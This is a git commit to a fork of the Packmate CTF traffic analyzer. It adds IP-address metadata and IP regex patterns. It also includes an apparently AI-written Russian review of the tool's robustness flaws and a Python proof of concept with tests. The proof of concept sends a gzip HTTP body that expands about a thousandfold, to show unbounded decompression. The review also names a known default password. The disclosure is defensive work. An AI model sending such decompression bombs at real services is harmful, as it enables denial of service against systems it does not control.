Add packet IP metadata and diagnostics

This commit is contained in:
av0idd4rk 2026-10-10 03:46:23 +03:00
parent 938031f1de
commit d18328d183
24 changed files with 975 additions and 13 deletions

1
.gitignore vendored
View File

@ -26,6 +26,7 @@ HELP.md
/nbproject/private/
/nbbuild/
/dist/
__pycache__/
/nbdist/
/.nb-gradle/

3
.gitmodules vendored
View File

@ -1,3 +1,4 @@
[submodule "frontend"]
path = frontend
url = https://gitlab.com/packmate/packmate-frontend.git
url = git@github.com:Av0idD4rk/packmate.git
branch = frontend

View File

@ -13,6 +13,7 @@
* Подстрока
* Регулярное выражение
* Бинарная подстрока
* Показывает IPv4/IPv6 адреса отправителя и получателя для каждого пакета
* Умеет автоматически удалять стримы с определенным контентом, которые не нужно отображать
* Умеет сохранять стримы в избранное и отображать только избранные стримы
* Работает с несколькими сервисами на разных портах, может отображать стримы для конкретных сервисов и паттернов
@ -26,6 +27,21 @@
![Скриншот главного окна](screenshots/Screenshot.png)
## Изменения этого форка
IP-адреса сохраняются вместе с пакетами, возвращаются API и отображаются в
карточке как `source → destination`.
Старые записи не содержат IP-адресов, поскольку исходная версия их не сохраняла.
Для восстановления адресов нужно повторно импортировать исходный PCAP.
Подробности и описание API находятся в
[docs/IP_ADDRESSES.md](docs/IP_ADDRESSES.md).
В [docs/ARCHITECTURE_REVIEW_RU.md](docs/ARCHITECTURE_REVIEW_RU.md) находится
ревью готовности к крупным Attack/Defense соревнованиям. Проверочный скрипт для
неограниченной распаковки GZIP HTTP находится в
[poc/http_gzip_expansion.py](poc/http_gzip_expansion.py).
## Быстрый запуск
Для быстрого запуска Packmate следует использовать [этот стартер](https://gitlab.com/packmate/starter/-/blob/master/README.md).
@ -35,15 +51,15 @@
### Клонирование
Поскольку этот репозиторий содержит фронтенд как git submodule, его необходимо клонировать так:
```bash
git clone --recurse-submodules https://gitlab.com/packmate/Packmate.git
git clone --recurse-submodules git@github.com:Av0idD4rk/packmate.git
# Или, на старых версиях git
git clone --recursive https://gitlab.com/packmate/Packmate.git
git clone --recursive git@github.com:Av0idD4rk/packmate.git
```
Если репозиторий уже был склонирован без подмодулей, необходимо выполнить:
```bash
git pull # Забираем свежую версию мастер-репы из gitlab
git pull # Забираем свежую версию master из GitHub
git submodule update --init --recursive
```

View File

@ -0,0 +1,318 @@
# Packmate: ревью перед крупным Attack/Defense CTF
Дата: 2026-10-10. Backend: `938031f1dedfbedabef5b049368ed5b6ba6a900a`;
frontend: `8f23d97100f11cd6671bb62aca5ce9b6a898b865`, плюс локальный патч IP-адресов.
Проверку выполнили три сабагента по направлениям capture/decoders, backend/DB/API,
frontend/deployment; основной агент сопоставил результаты с исходниками.
Обновление после ревью: реализована regex-фильтрация по IP и необходимое для неё
исправление live pattern-фильтра (пункт 9: `foundPatternsIds`). Остальные находки
ниже остаются открытыми. По просьбе пользователя работа идёт по одному этапу
с остановкой после проверки; следующий предложенный этап — зацикливание regex
по содержимому (пункт 1).
## Вывод
В текущем виде я бы не использовал Packmate как единственный анализатор трафика
на крупном соревновании. Есть подтверждённые пути зависания обработки, потери
содержимого, неверного отображения и неограниченного роста памяти. Их нужно
исправить до оценки максимальной пропускной способности. Добавление CPU/RAM или
реплик приложения само по себе эти ошибки не устраняет.
Это ревью исходников, а не сертификат производительности. Нагрузочный replay,
PostgreSQL EXPLAIN и испытание live capture не проводились. Предполагаемая цель —
инструмент команды, принимающий трафик её сервисов; центральный сбор всех команд
потребует дополнительно определить изоляцию данных, число sensors и бюджет хранения.
## Текущая архитектура
```mermaid
flowchart LR
NIC[Интерфейс / PCAP] --> PCAP[pcap4j: pcap-loop]
PCAP --> Q[Live: неограниченная очередь]
Q --> P[Один pcap-processor]
P --> M[Потоки целиком в heap]
M --> D[TLS / WebSocket / HTTP]
D --> F[Поиск паттернов]
F --> DB[(PostgreSQL через JPA)]
DB --> WS[Синхронная рассылка SockJS]
WS --> UI[Vue 2 SPA]
UI --> API[REST в том же JVM]
API --> DB
LB[Lookback / retention] --> DB
```
В FILE-режиме обработка идёт inline. Backend, capture, декодирование, REST,
WebSocket и фоновые задачи работают в одной JVM. PostgreSQL хранит метаданные,
payload `bytea` и совпадения: `Stream → Packet → FoundPattern`, плюс связь
`Stream ↔ Pattern`. Vue поставляется внутри JAR. Compose запускает приложение
и одну PostgreSQL на host-network. Конфигурация предполагает один `localIp`,
сервис идентифицируется портом; caches и подписчики локальны для процесса.
## Находки с высоким приоритетом
P1 означает исправление до большого соревнования; P2 — следующий обязательный
этап укрепления. Приоритет учитывает условия воспроизведения, а не измеренную частоту.
Пути ниже относительно корня репозитория; номера строк относятся к проверенной версии.
### 1. P1: обработка может зациклиться на обычном regex
`src/main/java/ru/serega6531/packmate/service/PatternMatcher.java:52–59`:
цикл вызывает `matcher.find(startPos)` и присваивает `startPos = matcher.end()`.
При пустом совпадении (`^`, `a*`) позиция не сдвигается. Для `^` каждый поиск
снова находит диапазон `[0,0)`. Live processor перестаёт сохранять последующие
потоки, очередь продолжает расти.
Исправить продвижение поиска: использовать `Matcher.find()` без ручного сброса
позиции и определить политику пустых совпадений. Ограничить стоимость regex на
недоверенном payload; один timeout вокруг Java regex не гарантирует остановку
вычисления. При необходимости использовать движок с ограниченным временем
поиска/линейной сложностью или изолированный worker.
### 2. P1: один consumer и очередь без лимита
`pcap/LivePcapWorker.java:39`, `pcap/AbstractPcapWorker.java:202`,
`service/StreamService.java:107–141` под `src/main/java/ru/serega6531/packmate/`.
`LinkedBlockingQueue<>` не ограничена практически полезным бюджетом. Единственный
обработчик синхронно декодирует поток, ищет паттерны, сохраняет его и рассылает WS.
Медленная БД, дорогой regex или клиент UI увеличивают backlog захваченных payload
в heap вплоть до OOM.
Разделить этапы, ограничить очереди по байтам и количеству элементов, добавить
spool на диск и явную политику перегрузки. Блокирование callback захвата при
полной очереди само по себе переносит потери в capture/kernel buffer. Нужны
счётчики потерь и возможность повторной обработки сохранённого сырого трафика.
### 3. P1: активные соединения не имеют лимита размера и возраста
`pcap/AbstractPcapWorker.java:180,237`, `tasks/TimeoutStreamsSaver.java:16`.
Сохраняется весь список пакетов; проверяется только idle timeout последнего
пакета. Постоянный WebSocket/UDP/keep-alive поток может расти весь раунд и
появиться в UI только после завершения/простоя. FILE-режим не запускает timeout
saver: UDP и незакрытые TCP могут копиться до EOF большого дампа.
Ввести общий budget активных flow, предел байтов на flow, максимальную длительность
сегмента и периодическое сохранение частей с общим connection ID. Для FILE
эвикция должна использовать время пакетов, а не wall clock обработки дампа.
### 4. P1: отсутствует TCP reassembly по sequence numbers
`pcap/AbstractPcapWorker.java:96`, `utils/PacketUtils.java:21`.
SEQ не учитывается: payload конкатенируется в порядке захвата. Retransmission
дублирует байты, out-of-order меняет содержимое, gaps не обозначаются. Это
влияет на поиск флагов, воспроизводимость запросов и декодирование протоколов.
Нужен двунаправленный reassembly с SYN/SEQ, retransmit/overlap policy, ограниченным
окном reorder и признаками incomplete/gap/truncated. Сохранять исходный capture
и производное представление раздельно. TLS parser также должен получать поток
байтов: сейчас `service/optimization/TlsDecryptor.java:70,275` пытается разобрать
TLS record из каждого отдельного TCP payload до объединения.
### 5. P1: HTTP pipelining теряет данные, распаковка не ограничена
`service/optimization/HttpProcessor.java:34–43,51–63`,
`service/optimization/StreamOptimizer.java:54`.
После merge парсится одно HTTP-сообщение; весь исходный блок заменяется им.
Два запроса в одном блоке теряют второй перед поиском паттернов. Декодированное
тело пишется в растущий `ByteArrayOutputStream`; аргумент `256` у
`writeDecodedTo` — размер рабочего буфера, а не лимит результата.
Потеря второго запроса подтверждена запуском собранного `HttpProcessor` через
временный Java harness: вход 87 байт с `/first` и `/second`, выход 43 байта,
`HTTP_FIRST_PRESENT=true`, `HTTP_SECOND_PRESENT=false`. Ошибочное равенство
ключей flow из раздела P2 также подтверждено исполнением `UnfinishedStream`:
разные пары endpoint имеют `equals=true` и одинаковый hash.
Разбирать все сообщения с учётом framing, сохранять необработанный остаток,
ограничить размер декодированного тела, коэффициент расширения и бюджет обработки.
Оставлять raw bytes доступными независимо от результата декодирования.
Воспроизводимый сетевой PoC находится в `poc/http_gzip_expansion.py`. Он
отправляет gzip HTTP POST на указанный host/port и позволяет задать точный
объём после распаковки. Проверочный запуск с `100MiB` передал 101 942 байта
сжатого тела при ожидаемых 104 857 600 байтах после декодирования (1028,6×).
Инструкция и ограничения: `poc/README.md`.
### 6. P1: страница пакетов может загрузить весь оставшийся поток
`repository/StreamRepository.java:21–27`, `service/StreamService.java:261`.
`LEFT JOIN FETCH p.matches` объединён с `Pageable`. При fetch join коллекции
Hibernate ограничивает результат в памяти: небольшой pageSize не ограничивает
объём прочитанных packets/payload/matches. Повторные страницы большого потока
снова выполняют дорогую загрузку. Это вывод по семантике Hibernate; SQL-трасса
на реальной PostgreSQL в этом ревью не снималась.
Сначала получать страницу ID с SQL LIMIT, затем выбранные packets и matches.
Кандидат индекса: `(stream_id,id)`. Включить
`hibernate.query.fail_on_pagination_over_collection_fetch=true` как регрессионную
защиту. Дополнительно ограничить pageSize и байты ответа на сервере.
### 7. P1: lookback и retention работают слишком крупными транзакциями
`service/StreamService.java:145–159,270,309`, `repository/StreamRepository.java:19`.
Lookback выбирает весь интервал и держит загружаемые packet graphs в одном
persistence context. Derived delete retention удаляет сущности через ORM
cascade, а не ограниченный bulk SQL. Большая история создаёт heap pressure,
длинные транзакции и конкуренцию с ingest. `docker-compose.yml:11` дополнительно
отключает cleanup по умолчанию, позволяя БД расти до заполнения диска.
Lookback: durable jobs, ограниченный executor, курсор, небольшие транзакции,
отмена и прогресс. Retention: ограниченные SQL batches с продуманным FK cascade,
затем временные партиции. Перед удалением партиции избранные потоки нужно
перенести/сохранить отдельно. Политика хранения должна включать бюджет диска.
### 8. P1: общее изменяемое состояние небезопасно для concurrency
`service/PatternService.java:39,67,139`, `service/ServicesService.java:35,76,119`:
HTTP изменяет обычные HashMap, пока capture и async job их читают/итерируют.
Возможны CME и несогласованные настройки. `service/PatternMatcher.java:19–21,141–147`
кеширует общие mutable KMP searchers; `utils/KMPStringSearcher.java:16,46,70`
содержит изменяемый `lastEnd`. Live и lookback могут портить позиции совпадений
друг друга даже после замены map на concurrent variant.
Публиковать immutable snapshots конфигурации после commit. Кешировать только
неизменяемые скомпилированные паттерны; состояние поиска создавать на операцию.
Не увеличивать число capture workers без явного владения состоянием каждого flow.
### 9. P1: live-фильтр по паттерну ломает новые события
`frontend/src/components/Sidebar.vue:206` читает `stream.foundPatterns.some`,
а `model/pojo/StreamDto.java:16` отдаёт `foundPatternsIds`. Воспроизведено запуском
реального метода компонента в Node: корректный DTO с `foundPatternsIds:[1]`
вызывает TypeError; новый поток при активном pattern-фильтре не появляется.
Использовать `foundPatternsIds.includes(Number(route.query.pattern))` и общий
контракт REST/WS с проверкой события активного фильтра.
### 10. P1: UI не ограничивает историю и смешивает ответы разных запросов
`frontend/src/components/Sidebar.vue:35,210`: каждый NEW_STREAM добавляется
в неограниченный массив, весь массив рендерится. При условных 100 events/s за час
это 360 000 элементов, если вкладка успевает принять события. Это арифметический
пример роста, не результат нагрузочного теста.
`frontend/src/views/ContentStream.vue:62–77`: запоздалый ответ A добавляется
в массив после перехода к B. Воспроизведено вызовом исходного метода с отложенным
HTTP-ответом. Аналогичная гонка есть у смены фильтра sidebar.
Ограничить окно истории, виртуализировать списки, пакетировать live updates.
Отменять запросы и проверять generation/request key до изменения данных и
состояния infinite loader. Виртуализация без ограничения массива не решает память.
### 11. P1 при доступности из игровой сети: небезопасные значения запуска
`docker-compose.yml:9–10,20`, `docker/Dockerfile_app:26`: известный fallback
`BinaryBears/123456`, host-network и bind `0.0.0.0`. Если UI-порт достижим
противником и пароль не переопределён, доступны захваченные данные и управление.
Это условный риск конфигурации, а не утверждение о доступности данного компьютера.
Сделать web password обязательным, отделить management network/VPN и capture
interface, настроить TLS для доступа. `configuration/SecurityConfiguration.java:60`
также пишет введённый пароль при ошибке входа — убрать его из логов.
## Дополнительные исправления P2
| Проблема | Место | Что изменить |
|---|---|---|
| Ключ flow независимо переставляет IP и порты: `A:80→B:50000` равен `A:50000→B:80` | `model/pojo/UnfinishedStream.java:21` | Сравнивать пары `(IP,port)` целиком, затем протокол; выделять новые поколения TCP-соединений |
| Shutdown закрывает pcap, но не дренирует очередь и не сохраняет активные потоки | `pcap/LivePcapWorker.java:63` | Остановить producer, drain consumer, flush flows, завершить executors до закрытия БД |
| HEX искажает байты: `FF 80 00` превращается в `FD FD 00` | `frontend/src/components/Packet.vue`, computed `hexdata`, `atou`, `hexdump` | Строить HEX из Uint8Array без UTF-8 преобразования; дефект воспроизведён в Node |
| WS не имеет восстановления пропущенных событий | `service/SubscriptionService.java:53–59`, `frontend/src/App.vue:62` | Отдельная очередь на сессию, последовательная отправка, лимиты, cursor/resync при reconnect/overflow |
| Lookback продвигает checkpoint до выполнения, FINISH уходит до commit | `service/PatternService.java:153–158`, `service/StreamService.java:159` | Durable job/checkpoint после успешного чанка, after-commit/outbox, идемпотентность повторов |
| Lookback не применяет ограничение паттерна по сервису | `service/StreamService.java:148,211` | Одинаковая фильтрация сервиса для live и historical поиска |
| Список streams платит за count и lazy N+1; индексы не соответствуют фильтрам | `service/StreamService.java:302`, `configuration/ApplicationConfiguration.java:62`, `model/Stream.java:33` | Slice/limit+1, projections/batch fetch; проверить индексы service+id, timestamps, favorite через EXPLAIN |
| Minute counters обновляются и очищаются без синхронизации | `service/CountingService.java:20–46` | Атомарный snapshot/reset; раздельные captured/persisted/ignored/dropped counters |
| Размер страницы не ограничен | `model/pojo/PacketPagination.java:12`, `model/pojo/StreamPagination.java:13` | Validation min/max, предел байтов ответа и времени запроса |
| Публикация Docker образа не требует Java test | `docker/Dockerfile_app:10`, `.gitlab-ci.yml:20` | Обязательный test gate и frontend lint/build; npm ci, фиксированные версии образов |
Пути Java в таблице находятся под `src/main/java/ru/serega6531/packmate/`.
CSRF отключён при browser Basic auth (`SecurityConfiguration.java:36`):
пересмотреть защиту изменяющих состояние endpoints; браузерная эксплуатация
в рамках ревью не проверялась. У приложения нет отдельного healthcheck и
использования pcap drop statistics; лог executor раз в минуту не определяет
сохранность захвата. Поддержка RSA TLS в коде не означает поддержку расшифровки
ECDHE/TLS 1.3 без session secrets.
## Предлагаемая архитектура развития
```mermaid
flowchart LR
S[Capture sensors] --> R[Ограниченный дисковый spool / raw segments]
R --> A[Reassembly: владелец каждого flow]
A --> W[Workers: decode и matching]
W --> D[(PostgreSQL: metadata / matches)]
W --> B[(Сжатые payload segments)]
D --> O[Outbox / events]
O --> G[WS gateway с cursors]
G --> U[UI с ограниченным окном]
U --> Q[Query API]
Q --> D
Q --> B
```
Сначала эти границы можно реализовать в одном развёртывании с отдельными
очередями и worker pools. Отдельные сервисы и общая шина нужны после измерений.
Сборщик должен владеть всем состоянием конкретного соединения; распределение
делать по стабильному ключу `(sensor, endpoint A, endpoint B, protocol)`,
с учётом направления и поколения соединения. Shared mutable maps нельзя просто
обслуживать несколькими потоками.
Для нескольких sensors ввести `sensorId`, самостоятельный `serviceId`,
endpoint host/IP+port+protocol, capture timestamps и признаки неполноты.
Сырые данные должны иметь retention и ссылку из метаданных. Вынос payload
из PostgreSQL рассматривать по измеренному IO/объёму; он усложняет атомарность,
удаление, доступ к данным и обработку orphan segments. Kafka/ClickHouse не
обязательны на первом этапе.
## Порядок работ и критерии готовности
1. **Корректность и остановка зависаний.** Исправить regex, KMP concurrency,
endpoint equality, HTTP pipelining, frontend filter/races/HEX. Добавить
проверки на retransmission/reorder/gaps и корректный TCP reassembly.
Acceptance: контрольные байты/флаги воспроизводятся без молчаливого искажения.
2. **Ограниченные ресурсы и восстановление.** Бюджеты очередей/flow/decode/UI,
сохранение частей долгих соединений, spool, graceful shutdown, WS resync.
Acceptance: искусственное замедление БД/браузера не ведёт к бесконечному heap;
пропуски явно измеряются, backlog восстанавливается из доступного spool.
3. **БД и фоновые задачи.** Двухэтапная пагинация, bounded lookback и retention,
индексы по EXPLAIN, durable checkpoints, отдельно сохранённые favorites.
Acceptance: запрос одной страницы ограничен объёмом страницы, а не историей;
фоновые задачи не исчерпывают DB pool и память ingest.
4. **Эксплуатация.** Обязательные credentials, management-доступ, CI gates,
метрики и alerting, проверяемый restart/recovery, управление версией схемы
через миграции вместо единственного `ddl-auto=update`.
5. **Измерение и масштабирование.** PCAP replay на целевом оборудовании с
реальным распределением packets/s, bytes/s, flows/s и размеров flow.
Проверить ожидаемый пик и запас, например 2×, плюс длительный прогон на
продолжительность соревнования. Только после этого обещать конкретный масштаб.
Набор нагрузочных сценариев: короткие TCP, длительные TCP/UDP, retransmit/reorder,
HTTP pipelining и сжатие, TLS segmentation, крупные payload, частые regex matches;
одновременно несколько операторов, lookback и retention. Отдельно проверять
медленный WS-клиент, reconnect, замедление/недоступность БД, перезапуск процесса,
исчерпание бюджета spool и диска. Сравнивать входной manifest пакетов/флагов
с сохранёнными данными, включая корректное устранение retransmission.
Измерять capture/kernel drops, accepted/persisted/ignored/truncated counts,
queue bytes и oldest age, active flow bytes, decode/match время, DB commit
p95/p99, capture→searchable и capture→UI lag, heap/RSS/GC, disk throughput,
retention duration, API p95/p99, browser heap/DOM. Пороговые значения согласовать
с фактическим объёмом и задачами команды. Для ориентира бюджета: непрерывный
1 Gbit/s — около 450 GB за час до сжатия и накладных расходов хранения.
## Границы текущих изменений
В этой рабочей копии реализован запрос на IP-адреса пакетов и добавлены проверки
их сохранения при merge/DTO mapping, включая IPv6 и старые записи. Рекомендации
ревью выше являются планом доработок; архитектура по ним ещё не переписана.
Инструкция по патчу: [IP_ADDRESSES.md](IP_ADDRESSES.md).
Проверки рабочей копии: backend `bootJar` собран; все 5 новых тестов IP прошли
при первом прогоне. Полный прогон первоначально дал 12/13: существующий TLS-тест
падает на CRLF в PEM (`Illegal base64 character d`), потому что `RsaKeysHolder`
удаляет только LF. После нормализации **копии** fixture в `build/resources/test`
на LF и запуска `test -x processTestResources` прошли 13/13. Исходник PEM и TLS
loader не изменялись; Windows-совместимость loader требует отдельного исправления.
Frontend lint изменённого компонента и production build прошли; сборщик
предупреждает о размере vendor bundle. Live capture, миграция схемы и полный
браузерный сценарий с работающим backend не запускались.

76
docs/IP_ADDRESSES.md Normal file
View File

@ -0,0 +1,76 @@
# IP-адреса в карточках пакетов
Пакеты теперь сохраняют `sourceIp` и `destinationIp` из IPv4/IPv6-заголовка
при захвате TCP и UDP. Эти поля возвращаются в API пакетов и выводятся над
содержимым в формате `источник → получатель`, в текстовом и HEX-режиме.
Склеивание соседних пакетов сохраняет адреса; TLS/WebSocket обработчики
наследуют их через `toBuilder()`.
При запуске штатный `spring.jpa.hibernate.ddl-auto=update` добавит nullable
колонки `source_ip` и `destination_ip` в таблицу `packet`. Старые записи
останутся без адресов: раньше эти данные не сохранялись. Для их восстановления
нужен повторный импорт исходного PCAP. Если автоматическое изменение схемы
отключено, перед запуском нужно добавить две nullable колонки varchar(255).
Изменены backend и git submodule `frontend`; при переносе правок нужно
сохранять изменения обоих репозиториев. Для существующего Linux-развёртывания
с настроенным `.env` пересоберите приложение:
```sh
docker compose up -d --build packmate
```
Проверка backend: `./gradlew test bootJar` (JDK 17).
Проверка frontend: `npm ci`, `npm run lint -- --no-fix src/components/Packet.vue`,
`NODE_OPTIONS=--openssl-legacy-provider npm run build` (проверено с Node 18).
Результат: 5 новых проверок IP прошли, frontend lint/build и backend bootJar
успешны. В Windows существующий TLS-тест зависит от LF в PEM-файле: с CRLF
падает исходный `RsaKeysHolder`. После преобразования переносов только в
`build/resources/test/tls.key` и запуска `test -x processTestResources` прошли
все 13 тестов. Live capture и миграция PostgreSQL в этой проверке не запускались.
## Фильтрация IP регулярным выражением
В **Patterns → +** выберите **Search in**:
- **Source IP** — адрес отправителя конкретного пакета;
- **Destination IP** — адрес получателя;
- **Either IP address** — совпадение хотя бы с одним из двух адресов;
- **Packet content** — прежний поиск по содержимому.
При выборе IP метод автоматически переключается на **Regular expression**.
Например, `^10\.20\.30\.[0-9]+$` выбирает адреса с префиксом `10.20.30.`,
а `^192\.0\.2\.17$` — ровно один адрес. Regex проверяется по строке адреса,
показанной в карточке, без порта. IPv6 может быть записан в развёрнутой форме;
например, `(?i)^2001:db8:` ищет этот префикс независимо от регистра.
Поиск использует Java regex `find()`; якоря `^` и `$` задают совпадение всей строки.
Для фильтра списка оставьте действие **Highlight found pattern**, сохраните
паттерн и выберите его в **Patterns**. Совпавшие IP подсвечиваются в карточках;
совпадения по адресам не меняют подсветку payload. Действие **Ignore matching
streams** исключает совпадающие новые потоки из сохранения. Направление
Request/Response задаётся отдельно; Source/Destination всегда относятся
к направлению конкретного пакета, а не к фиксированной роли client/server.
Для уже сохранённых потоков с IP можно запустить **Apply pattern to older
streams**. Без сохранённых адресов IP-паттерн не совпадёт, даже с `.*`.
Существующее ограничение lookback по service описано в архитектурном ревью
(оно пока не исправлено); до его исправления historical поиск не обеспечивает
изоляцию выбранного сервиса. Новые потоки учитывают service и direction.
API создания паттерна получает новое поле `searchTarget`:
`CONTENT`, `SOURCE_IP`, `DESTINATION_IP`, `EITHER_IP`. Для IP допустим только
`searchType: REGEX`. Если поле отсутствует/null, действует прежний поиск CONTENT.
API совпадений возвращает `searchTarget` фактически совпавшего поля.
При обновлении также добавляются nullable строковые колонки `search_target`
в таблицы `pattern` и `found_pattern` (штатный Hibernate ddl-auto=update).
Null в старых строках означает CONTENT. При ручном управлении схемой добавьте
эти две колонки varchar(255) перед запуском. Backend и frontend нужно обновить
совместно; frontend находится в отдельном git submodule.
Проверки этого этапа: 20 backend tests (12 новых сценариев IP-паттернов плюс
существующие matching/IP tests), 5 frontend tests (`npm run test:ip-patterns`),
lint четырёх компонентов, frontend production build и backend bootJar — успешны.
Работа с живым захватом и PostgreSQL в этом этапе не проверялась.

@ -1 +1 @@
Subproject commit 8f23d97100f11cd6671bb62aca5ce9b6a898b865
Subproject commit 9896d4b104cdcfaacd0fec35a3c0e8b8f8ed69cc

24
poc/README.md Normal file
View File

@ -0,0 +1,24 @@
# HTTP gzip expansion PoC
`http_gzip_expansion.py` sends an HTTP POST whose gzip body expands to the
requested number of bytes. It is intended to demonstrate that Packmate's
current `HttpProcessor` has no decoded-body limit.
Start any TCP/HTTP listener on a port configured in Packmate as an HTTP service,
then send the request. For example:
```powershell
python -m http.server 8080
python poc/http_gzip_expansion.py --port 8080 --decompressed-bytes 100MiB
```
The HTTP listener may answer with an error; Packmate still captures the request.
The connection must complete or reach Packmate's stream timeout before Packmate
processes it. Watch the Packmate JVM's heap while increasing the value gradually.
The argument accepts exact bytes or `KiB`, `MiB`, `GiB`, `KB`, `MB`, `GB`.
It controls the decoded body only; the compressed request stays much smaller
because it consists of repeated `A` bytes. TCP is a byte stream, so the OS may
split the request across several network packets.
Run this only against a listener and Packmate instance you control.

140
poc/http_gzip_expansion.py Normal file
View File

@ -0,0 +1,140 @@
#!/usr/bin/env python3
"""Send a small gzip-compressed HTTP request with a configurable decoded size.
The target must have a TCP listener on the selected port. Packmate must capture
that connection and have the port configured as an HTTP service.
"""
from __future__ import annotations
import argparse
import socket
import sys
import zlib
CHUNK_SIZE = 1024 * 1024
DEFAULT_DECOMPRESSED_BYTES = 8 * 1024 * 1024
def byte_count(value: str) -> int:
"""Parse a positive byte count, optionally with KiB/MiB/GiB suffixes."""
suffixes = {
"": 1,
"b": 1,
"kib": 1024,
"mib": 1024**2,
"gib": 1024**3,
"kb": 1000,
"mb": 1000**2,
"gb": 1000**3,
}
normalized = value.strip().lower()
number = normalized
suffix = ""
for candidate in sorted(suffixes, key=len, reverse=True):
if candidate and normalized.endswith(candidate):
number = normalized[: -len(candidate)]
suffix = candidate
break
try:
result = int(number) * suffixes[suffix]
except (KeyError, ValueError) as exc:
raise argparse.ArgumentTypeError(
"use an integer byte count, optionally with KiB/MiB/GiB"
) from exc
if result <= 0:
raise argparse.ArgumentTypeError("the decoded size must be greater than zero")
return result
def gzip_repeated_bytes(decoded_size: int, fill_byte: int = ord("A")) -> bytes:
"""Create gzip data without allocating the decoded representation."""
compressor = zlib.compressobj(level=9, wbits=16 + zlib.MAX_WBITS)
compressed_parts: list[bytes] = []
full_chunk = bytes([fill_byte]) * CHUNK_SIZE
remaining = decoded_size
while remaining:
current_size = min(remaining, CHUNK_SIZE)
compressed_parts.append(compressor.compress(full_chunk[:current_size]))
remaining -= current_size
compressed_parts.append(compressor.flush())
return b"".join(compressed_parts)
def build_request(host_header: str, path: str, decoded_size: int) -> tuple[bytes, int]:
body = gzip_repeated_bytes(decoded_size)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host_header}\r\n"
"Content-Type: application/octet-stream\r\n"
"Content-Encoding: gzip\r\n"
f"Content-Length: {len(body)}\r\n"
f"X-Packmate-Decoded-Bytes: {decoded_size}\r\n"
"Connection: close\r\n"
"\r\n"
).encode("ascii")
return headers + body, len(body)
def send_request(host: str, port: int, request: bytes, timeout: float) -> None:
with socket.create_connection((host, port), timeout=timeout) as connection:
connection.settimeout(timeout)
connection.sendall(request)
connection.shutdown(socket.SHUT_WR)
def parser() -> argparse.ArgumentParser:
result = argparse.ArgumentParser(
description=(
"Send a gzip HTTP POST to demonstrate Packmate's unbounded HTTP "
"decompression. Use only against a listener you control."
)
)
result.add_argument("--host", default="127.0.0.1", help="target host (default: loopback)")
result.add_argument("--port", required=True, type=int, help="target TCP port")
result.add_argument(
"--decompressed-bytes",
type=byte_count,
default=DEFAULT_DECOMPRESSED_BYTES,
help="decoded body size, e.g. 104857600 or 100MiB (default: 8MiB)",
)
result.add_argument("--path", default="/packmate-gzip-poc", help="HTTP request path")
result.add_argument("--timeout", default=10.0, type=float, help="connect/send timeout in seconds")
return result
def main() -> int:
args = parser().parse_args()
if not 1 <= args.port <= 65535:
print("error: port must be between 1 and 65535", file=sys.stderr)
return 2
if not args.path.startswith("/"):
print("error: path must start with '/'", file=sys.stderr)
return 2
request, compressed_size = build_request(
f"{args.host}:{args.port}", args.path, args.decompressed_bytes
)
ratio = args.decompressed_bytes / compressed_size
print(f"Target: {args.host}:{args.port}")
print(f"Compressed body: {compressed_size:,} bytes")
print(f"Decoded body: {args.decompressed_bytes:,} bytes")
print(f"Expansion ratio: {ratio:,.1f}x")
print(f"TCP bytes to send: {len(request):,} bytes")
try:
send_request(args.host, args.port, request, args.timeout)
except OSError as exc:
print(f"send failed: {exc}", file=sys.stderr)
return 1
print("Request sent. Wait for the stream to close or for Packmate's timeout.")
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@ -0,0 +1,60 @@
import gzip
import importlib.util
from pathlib import Path
import socket
import threading
import unittest
SCRIPT_PATH = Path(__file__).with_name("http_gzip_expansion.py")
SPEC = importlib.util.spec_from_file_location("http_gzip_expansion", SCRIPT_PATH)
POC = importlib.util.module_from_spec(SPEC)
assert SPEC.loader is not None
SPEC.loader.exec_module(POC)
class HttpGzipExpansionTest(unittest.TestCase):
def test_configured_decoded_size(self):
request, compressed_size = POC.build_request("localhost:8080", "/test", 3_500_123)
headers, compressed = request.split(b"\r\n\r\n", 1)
self.assertEqual(compressed_size, len(compressed))
self.assertIn(f"Content-Length: {len(compressed)}".encode(), headers)
self.assertIn(b"X-Packmate-Decoded-Bytes: 3500123", headers)
self.assertEqual(3_500_123, len(gzip.decompress(compressed)))
def test_suffixes(self):
self.assertEqual(100 * 1024**2, POC.byte_count("100MiB"))
self.assertEqual(10_000_000, POC.byte_count("10MB"))
self.assertEqual(4096, POC.byte_count("4096"))
def test_sends_complete_request_to_tcp_listener(self):
received = bytearray()
ready = threading.Event()
address = []
def server():
with socket.socket() as listener:
listener.bind(("127.0.0.1", 0))
listener.listen(1)
address.append(listener.getsockname())
ready.set()
connection, _ = listener.accept()
with connection:
while chunk := connection.recv(65536):
received.extend(chunk)
thread = threading.Thread(target=server, daemon=True)
thread.start()
self.assertTrue(ready.wait(2))
request, _ = POC.build_request("localhost", "/test", 2 * 1024**2)
POC.send_request(address[0][0], address[0][1], request, 2)
thread.join(2)
self.assertFalse(thread.is_alive())
self.assertEqual(request, bytes(received))
if __name__ == "__main__":
unittest.main()

View File

@ -4,6 +4,7 @@ import lombok.*;
import org.hibernate.Hibernate;
import org.hibernate.annotations.GenericGenerator;
import org.hibernate.annotations.Parameter;
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
import jakarta.persistence.*;
import java.util.Objects;
@ -38,6 +39,13 @@ public class FoundPattern {
private int patternId;
@Enumerated(EnumType.STRING)
private PatternSearchTarget searchTarget;
public PatternSearchTarget getSearchTarget() {
return searchTarget == null ? PatternSearchTarget.CONTENT : searchTarget;
}
private int startPosition;
private int endPosition;

View File

@ -47,6 +47,10 @@ public class Packet {
private long timestamp;
private String sourceIp;
private String destinationIp;
private boolean incoming; // true если от клиента к серверу, иначе false
private boolean httpProcessed = false;

View File

@ -3,6 +3,7 @@ package ru.serega6531.packmate.model;
import jakarta.persistence.Column;
import jakarta.persistence.Entity;
import jakarta.persistence.Enumerated;
import jakarta.persistence.EnumType;
import jakarta.persistence.GeneratedValue;
import jakarta.persistence.Id;
import lombok.Getter;
@ -15,6 +16,7 @@ import org.hibernate.annotations.Parameter;
import ru.serega6531.packmate.model.enums.PatternActionType;
import ru.serega6531.packmate.model.enums.PatternDirectionType;
import ru.serega6531.packmate.model.enums.PatternSearchType;
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
import java.util.Objects;
@ -57,6 +59,13 @@ public class Pattern {
@Column(nullable = false)
private PatternSearchType searchType;
@Enumerated(EnumType.STRING)
private PatternSearchTarget searchTarget = PatternSearchTarget.CONTENT;
public PatternSearchTarget getSearchTarget() {
return searchTarget == null ? PatternSearchTarget.CONTENT : searchTarget;
}
@Enumerated
